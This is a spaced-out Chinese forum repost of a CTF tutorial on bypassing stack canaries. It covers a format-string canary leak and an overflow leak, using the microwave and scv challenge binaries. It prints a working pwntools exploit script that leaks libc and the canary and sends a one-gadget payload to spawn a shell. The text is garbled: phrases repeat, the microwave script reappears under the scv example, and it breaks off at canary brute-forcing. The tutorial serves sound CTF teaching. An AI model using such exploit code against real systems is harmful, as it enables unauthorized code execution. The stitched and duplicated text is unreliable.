搜索

[19529] 2019-09-19_CTF必备技能丨LinuxPwn入门教程——stackcanary与绕过的思路

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2019-09-19_CTF必备技能丨LinuxPwn入门教程——stackcanary与绕过的思路 C T F 必 备 技 能 丨 L i n u x   P w n 入 门 教 程 — — s t a c k   c a n a r y 与 绕 过 的 思 路 i 春 秋   2 0 1 9 - 0 9 - 1 9 L i n u x   P w n 入 门 教 程 系 列 分 享 如 约 而 至 ， 本 套 课 程 是 作 者 依 据 i 春 秋 P w n 入 门 课 程 中 的 技 术 分 类 ， 并 结 合 近 几 年 赛 事 中 出 现 的 题 目 和 文 章 整 理 出 一 份 相 对 完 整 的 L i n u x   P w n 教 程 。 教 程 仅 针 对 i 3 8 6 / a m d 6 4 下 的 L i n u x   P w n 常 见 的 P w n 手 法 ， 如 栈 ， 堆 ， 整 数 溢 出 ， 格 式 化 字 符 串 ， 条 件 竞 争 等 进 行 介 绍 ， 所 有 环 境 都 会 封 装 在 D o c k e r 镜 像 当 中 ， 并 提 供 调 试 用 的 教 学 程 序 ， 来 自 历 年 赛 事 的 原 题 和 带 有 注 释 的 p y t h o n 脚 本 。 今 天 i 春 秋 与 大 家 分 享 的 是 L i n u x   P w n 入 门 教 程 第 十 章 ： s t a c k   c a n a r y 与 绕 过 的 思 路 ， 阅 读 用 时 约 1 5 分 钟 。 c a n a r y 简 介 简 介 我 们 知 道 ， 通 常 栈 溢 出 的 利 用 方 式 是 通 过 溢 出 存 在 于 栈 上 的 局 部 变 量 ， 从 而 让 多 出 来 的 数 据 覆 盖 e b p 、 e i p 等 ， 从 而 达 到 劫 持 控 制 流 的 目 的 。 然 而 s t a c k   c a n a r y 这 一 技 术 的 应 用 使 得 这 种 利 用 手 段 变 得 难 以 实 现 。 c a n a r y 的 意 思 是 金 丝 雀 ， 来 源 于 英 国 矿 井 工 人 用 来 探 查 井 下 气 体 是 否 有 毒 的 金 丝 雀 笼 子 。 工 人 们 每 次 下 井 都 会 带 上 一 只 金 丝 雀 如 果 井 下 的 气 体 有 毒 ， 金 丝 雀 由 于 对 毒 性 敏 感 就 会 停 止 鸣 叫 甚 至 死 亡 ， 从 而 使 工 人 们 得 到 预 警 。 这 个 概 念 应 用 在 栈 保 护 上 则 是 在 初 始 化 一 个 栈 帧 时 在 栈 底 设 置 一 个 随 机 的 c a n a r y 值 ， 栈 帧 销 毁 前 测 试 该 值 是 否 “ 死 掉 ” ， 即 是 否 被 改 变 ， 若 被 改 变 则 说 明 栈 溢 出 发 生 ， 程 序 走 另 一 个 流 程 结 束 ， 以 免 漏 洞 利 用 成 功 。 当 一 个 程 序 开 启 了 c a n a r y 保 护 时 ， 使 用 c h e c k s e c 脚 本 检 查 会 出 现 以 下 结 果 ： 可 以 看 到 S t a c k 一 行 显 示 C a n a r y   f o u n d 。 此 外 ， 在 函 数 栈 帧 初 始 化 时 也 会 在 栈 上 放 置 c a n a r y 值 并 且 在 退 出 前 验 证 。
很 显 然 ， 一 旦 我 们 触 发 栈 溢 出 漏 洞 ， 除 非 能 猜 到 c a n a r y 值 是 什 么 ， 否 则 函 数 退 出 的 时 候 必 然 会 通 过 异 或 操 作 检 测 到 c a n a r y 被 修 改 从 而 执 行 s t a c k _ c h k _ f a i l 函 数 。 函 数 。 因 此 ， 我 们 要 么 想 办 法 获 取 到 因 此 ， 我 们 要 么 想 办 法 获 取 到 c a n a r y 的 值 ， 要 么 就 要 防 止 触 发 的 值 ， 要 么 就 要 防 止 触 发 s t a c k _ c h k _ f a i l ， 或 者 利 用 这 个 函 数 。 泄 露 泄 露 c a n a r y 首 先 我 们 要 介 绍 的 方 法 是 泄 露 c a n a r y 。 很 显 然 ， 这 个 方 法 就 是 利 用 漏 洞 来 泄 露 出 c a n a r y 的 值 ， 从 而 在 栈 溢 出 时 在 p a y l o a d 里 加 入 c a n a r y 以 通 过 检 查 。 首 先 我 们 来 看 一 下 使 用 格 式 化 字 符 串 泄 露 c a n a r y 的 情 况 。 打 开 例 子 ~ / i n s o m n i h a c k   C T F   2 0 1 6 - m i c r o w a v e / m i c r o w a v e 。 这 个 程 序 的 流 程 看 起 来 有 点 复 杂 ， 而 且 文 章 开 头 的 c h e c k s e c 结 果 显 示 它 开 了 一 大 堆 保 护 。 但 是 程 序 中 存 在 着 两 个 漏 洞 ， 分 别 是 功 能 1 中 的 一 个 格 式 化 字 符 串 漏 洞 和 功 能 2 中 的 一 个 栈 溢 出 漏 洞 。
m a i n 函 数 中 使 用 f g e t s 获 取 的 输 入 被 作 为 参 数 传 递 给 s u b _ F 0 0 ， 然 后 使 用 _ _ p r i n t f _ c h k 直 接 输 出 ， 存 在 格 式 化 字 符 串 漏 洞 ， 可 以 泄 露 内 存 。 功 能 2 调 用 s u b _ 1 0 0 0 ， 其 中 r e a d 读 取 了 过 多 字 符 ， 可 以 造 成 栈 溢 出 。 在 之 前 的 文 章 中 我 们 提 到 过 F O R T I F Y 对 于 格 式 化 字 符 串 漏 洞 的 影 响 ， 也 就 是 说 这 个 程 序 我 们 无 法 使 用 % n 修 改 任 何 内 存 ， 所 以 我 们 能 用 来 劫 持 程 序 执 行 流 程 的 漏 洞 显 然 只 有 栈 溢 出 。 这 个 时 候 我 们 就 需 要 用 到 格 式 化 字 符 串 漏 洞 来 泄 露 c a n a r y 了 。 首 先 我 们 调 试 一 下 这 个 程 序 ， 让 程 序 执 行 到 c a l l   _ _ p r i n t f _ c h k 一 行 并 查 看 寄 存 器 和 栈 的 情 况 ， 看 一 下 我 们 可 以 泄 露 哪 些 东 西 。
结 合 调 试 和 对 内 存 的 分 析 ， 我 们 不 难 发 现 泄 露 出 来 的 第 一 个 数 据 可 以 直 接 用 来 计 算 l i b c 在 内 存 中 的 地 址 （ 当 然 你 也 可 以 选 择 用 下 面 的 s t d o u t 和 s t d i n ） ， 而 第 6 个 数 据 就 是 c a n a r y ， 因 此 我 们 就 可 以 构 造 脚 本 泄 露 地 址 并 利 用 其 计 算 o n e   g a d g e t   R C E 的 地 址 。 然 后 我 们 进 入 功 能 2 触 发 栈 溢 出 漏 洞 ， 调 试 发 现 c a n a r y 和 r i p 中 间 还 隔 着 8 个 字 节 。 i o . s e n d l i n e ( ' 1 ' )                                                                                 # 使 用 功 能 1 触 发 格 式 化 字 符 串 漏 洞 i o . r e c v ( ' u s e r n a m e :   ' ) i o . s e n d l i n e ( ' % p . ' * 8 )                                                                 # 格 式 化 字 符 串 泄 露 l i b c 中 的 地 址 和 c a n a r y i o . r e c v u n t i l ( ' p a s s w o r d :   ' ) i o . s e n d l i n e ( ' n 0 7 _ 7 h 3 _ f l 4 6 ' )                                                 # 密 码 硬 编 码 在 程 序 中 ， 可 以 直 接 看 到 l e a k _ d a t a   =   i o . r e c v u n t i l ( ' [ M i c r o W a v e ] :   ' ) . s p l i t ( ) [ 1 ] . s p l i t ( ' . ' )                 l e a k _ l i b c   =   i n t ( l e a k _ d a t a [ 0 ] ,   1 6 ) o n e _ g a d g e t _ a d d r   =   l e a k _ l i b c   -   0 x 3 c 3 7 6 0   +   0 x 4 5 5 2 6                                 # 计 算 o n e   g a d g e t   R C E 地 址 c a n a r y   =   i n t ( l e a k _ d a t a [ 5 ] ,   1 6 ) l o g . i n f o ( ' L e a k   c a n a r y   =   % # x ,   o n e   g a d g e t   R C E   a d d r e s s   =   % # x '   % ( c a n a r y ,   o n e _ g a d g e t _ a d d r ) )
据 此 我 们 就 可 以 写 出 脚 本 g e t s h e l l 了 。
当 然 ， 并 不 是 所 有 有 c a n a r y 的 程 序 都 能 那 么 幸 运 地 有 一 个 格 式 化 字 符 串 漏 洞 ， 不 过 我 们 还 可 以 利 用 栈 溢 出 来 泄 露 c a n a r y 。 我 们 再 来 看 一 下 另 一 个 例 子 ~ / C S A W   Q u a l s   C T F   2 0 1 7 - s c v / s c v 。 这 是 一 个 用 C + + 写 成 的 6 4 位 E L F 程 序 ， 所 以 I D A   F 5 插 件 看 起 来 有 点 混 乱 ， 但 是 很 显 然 还 是 能 看 出 来 主 要 的 功 能 的 。 f r o m   p w n   i m p o r t   * c o n t e x t . u p d a t e ( o s   =   ' l i n u x ' ,   a r c h   =   ' a m d 6 4 ' ) i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 2 ' ,   1 0 0 0 1 ) i o . s e n d l i n e ( ' 1 ' )                                                                                 # 使 用 功 能 1 触 发 格 式 化 字 符 串 漏 洞 i o . r e c v ( ' u s e r n a m e :   ' ) i o . s e n d l i n e ( ' % p . ' * 8 )                                                                 # 格 式 化 字 符 串 泄 露 l i b c 中 的 地 址 和 c a n a r y i o . r e c v u n t i l ( ' p a s s w o r d :   ' ) i o . s e n d l i n e ( ' n 0 7 _ 7 h 3 _ f l 4 6 ' )                                                 # 密 码 硬 编 码 在 程 序 中 ， 可 以 直 接 看 到 l e a k _ d a t a   =   i o . r e c v u n t i l ( ' [ M i c r o W a v e ] :   ' ) . s p l i t ( ) [ 1 ] . s p l i t ( ' . ' )                 l e a k _ l i b c   =   i n t ( l e a k _ d a t a [ 0 ] ,   1 6 ) o n e _ g a d g e t _ a d d r   =   l e a k _ l i b c   -   0 x 3 c 3 7 6 0   +   0 x 4 5 5 2 6                                 # 计 算 o n e   g a d g e t   R C E 地 址 c a n a r y   =   i n t ( l e a k _ d a t a [ 5 ] ,   1 6 ) l o g . i n f o ( ' L e a k   c a n a r y   =   % # x ,   o n e   g a d g e t   R C E   a d d r e s s   =   % # x '   % ( c a n a r y ,   o n e _ g a d g e t _ a d d r ) ) p a y l o a d   =   " A " * 1 0 3 2                                                                                 # p a d d i n g p a y l o a d   + =   p 6 4 ( c a n a r y )                                                                 # 正 确 的 c a n a r y p a y l o a d   + =   " B " * 8                                                                                 # p a d d i n g p a y l o a d   + =   p 6 4 ( o n e _ g a d g e t _ a d d r )                                 # o n e   g a d g e t   R C E i o . s e n d l i n e ( ' 2 ' )                                                                                 # 使 用 有 栈 溢 出 的 功 能 2 i o . r e c v u n t i l ( ' # >   ' ) i o . s e n d l i n e ( p a y l o a d ) s l e e p ( 0 . 5 )                                                                 i o . i n t e r a c t i v e ( )
结 合 运 行 的 结 果 ， 我 们 很 容 易 判 断 出 功 能 1 可 能 会 有 问 题 。
通 过 调 试 我 们 不 难 发 现 这 个 程 序 确 实 存 在 栈 溢 出 ， 但 是 问 题 选 项 1 2 3 都 位 于 m a i n 函 数 的 死 循 环 里 ， 只 有 选 项 3 会 退 出 循 环 ， 从 而 在 m a i n 函 数 结 束 时 触 发 栈 溢 出 漏 洞 。 此 外 ， 我 们 还 没 有 找 到 c a n a r y 的 值 ， 怎 么 办 呢 ？ 我 们 观 察 选 项 2 ， 发 现 选 项 2 是 输 出 我 们 的 输 入 。 因 此 ， 我 们 可 以 通 过 溢 出 的 字 符 串 接 上 c a n a r y 值 ， 从 而 在 输 出 的 时 候 把 c a n a r y 的 值 “ 带 ” 出 来 。
很 容 易 计 算 出 来 我 们 需 要 输 入 的 字 节 是 1 6 8 个 . . . . . . . 且 慢 ！ 我 们 知 道 字 符 串 是 以 x 0 0 作 为 结 尾 的 。 c a n a r y 这 一 保 护 机 制 的 设 计 者 显 然 也 考 虑 到 了 c a n a r y 被 误 泄 露 的 可 能 性 ， 因 此 强 制 规 定 c a n a r y 的 最 后 两 位 必 须 是 0 0 . 这 样 我 们 在 输 出 一 个 字 符 串 的 时 候 就 不 会 因 为 字 符 串 不 小 心 邻 接 到 c a n a r y 上 而 意 外 泄 露 c a n a r y 了 。 所 以 ， 我 们 这 里 必 须 在 1 6 8 的 基 础 上 + 1 ， 把 这 个 0 0 覆 盖 掉 ， 从 而 让 c a n a r y 的 其 余 部 分 被 视 为 我 们 输 入 的 字 符 串 的 一 部 分 。
这 个 时 候 我 们 使 用 功 能 2 ， 就 会 带 出 c a n a r y 的 值 了 。 注 意 到 后 面 的 乱 码 里 有 个 7 ， 对 应 的 0 x 3 7 就 是 c a n a r y 的 一 部 分 。 然 后 我 们 就 可 以 通 过 l e a k 的 c a n a r y 过 掉 c a n a r y 保 护 并 开 启 s h e l l 了 。 本 例 子 的 脚 本 可 见 于 附 件 ， 此 处 不 再 贴 出 ， 注 意 写 脚 本 泄 露 c a n a r y 时 可 以 把 p a d d i n g 字 符 串 的 最 后 几 个 字 符 修 改 成 其 他 字 符 （ 如 “ A B C D E ” ） ， 以 便 于 通 过 i o . r e c v u n t i l (   ) 进 行 定 位 ， 防 止 截 取 c a n a r y 出 现 问 题 。 除 了 通 过 上 述 的 这 两 种 方 法 来 l e a k   c a n a r y 之 外 ， 程 序 中 也 可 能 出 现 其 他 可 以 l e a k   c a n a r y 的 方 法 ， 不 要 拘 泥 于 形 式 的 约 束 。 多 进 程 程 序 的 多 进 程 程 序 的 c a n a r y 爆 破 爆 破 c a n a r y 之 所 以 被 认 为 是 安 全 的 ， 是 因 为 对 其 进 行 爆 破 成 功 率 太 低 。 以 3 2 为 例 ， 除 去 最 后 一 个 x 0 0 ， 其 可 能 值 将 会 是 0 x 1 0 0 ^ 3 = 1 6 7 7 7 2 1 6 （ 实 际 上 由 于 c a n a r y 的 生 成 规 则 会 小 于 这 个 值 ） ， 6 4 位 下 的 c a n a r y 值 更 是 远 大 于 这 个 数 量 级 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理